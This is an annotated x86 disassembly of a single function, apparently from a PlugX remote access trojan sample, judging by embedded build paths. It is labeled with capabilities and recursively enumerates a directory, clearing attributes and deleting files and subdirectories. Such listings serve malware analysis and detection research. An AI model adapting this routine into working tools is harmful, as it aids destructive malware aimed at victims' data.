Function at 0x1001b280
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
add edi, edi
lea edx, [edi + 2]
push edx
call fcn.10027bda
mov esi, eax
xor ebx, ebx
add esp, 4
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x18], ebx
test esi, esi
jne 0x1001b2e2
push ebx
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov edx, 0xd9
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
push ebx
call fcn.10024152
mov edi, dword [ebp - 8]
jmp 0x1001b2fa
mov ebx, edi
mov word [esi + edi], 0
push edi
mov edi, dword [ebp - 8]
mov ecx, esi
mov edx, edi
mov dword [ebp - 0x18], ebx
call fcn.1002427e
mov eax, ebx
add esp, 4
cdq
sub eax, edx
sar eax, 1
cmp word [esi + eax*2 - 2], 0x5c
je 0x1001b333
push 2
push 0x10028918
lea ecx, [ebp - 0x18]
call fcn.100066e0
test eax, eax
je 0x1001b333
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1002927c
call ebx
add eax, eax
lea ecx, [ebp - 0x18]
push eax
push 0x1002927c
call fcn.100066e0
test eax, eax
je 0x1001b368
push 0
mov edx, 0xde
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x1001b38d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001b593
mov esi, dword [ebp - 4]
jmp 0x1001b395
mov edi, dword [ebp - 8]
cmp word [ebp - 0x23c], 0x2e
jne 0x1001b3c3
mov ax, word [ebp - 0x23a]
test ax, ax
je 0x1001b531
cmp ax, 0x2e
jne 0x1001b3c3
cmp word [ebp - 0x238], 0
je 0x1001b531
push edi
call ebx
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
push esi
call fcn.100064b0
mov edi, dword [ebp - 0x18]
test eax, eax
je 0x1001b3ed
push 0
mov edx, 0xfb
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
jmp 0x1001b411
cmp esi, edi
jle 0x1001b405
push 0
mov edx, 0x4d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
push esi
call fcn.1002427e
add esp, 4
mov ecx, edi
test ecx, ecx
jns 0x1001b41d
add ecx, 1
sar ecx, 1
mov eax, dword [ebp - 0xc]
cmp word [eax + ecx*2 - 2], 0x5c
jne 0x1001b43c
cmp word [ebp - 0x23c], 0x5c
jne 0x1001b46d
lea eax, [ebp - 0x23a]
jmp 0x1001b473
cmp word [ebp - 0x23c], 0x5c
je 0x1001b46d
push 2
push 0x10028918
lea ecx, [ebp - 0x18]
call fcn.100066e0
test eax, eax
je 0x1001b46d
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0x23c]
push eax
call ebx
add eax, eax
lea ecx, [ebp - 0x18]
push eax
lea eax, [ebp - 0x23c]
push eax
call fcn.100066e0
test eax, eax
je 0x1001b4a0
push 0
mov edx, 0x100
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
test byte [ebp - 0x268], 0x10
mov esi, dword [ebp - 0xc]
je 0x1001b4f0
mov ecx, esi
call fcn.1001b280
test eax, eax
je 0x1001b4cb
push 0
mov edx, 0x107
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
call edi
test eax, eax
jne 0x1001b4eb
push eax
mov edx, 0x10c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov esi, dword [ebp - 4]
jmp 0x1001b537
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jne 0x1001b510
push eax
mov edx, 0x114
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1001b52e
push eax
mov edx, 0x119
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
mov esi, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1001b392
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
test eax, eax
jne 0x1001b56b
push eax
mov edx, 0x122
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
push dword [ebp - 8]
call edi
test eax, eax
jne 0x1001b591
push eax
mov edx, 0x127
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXRTL.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1001b593
xor esi, esi
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1001b5a5
push 1
push eax
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret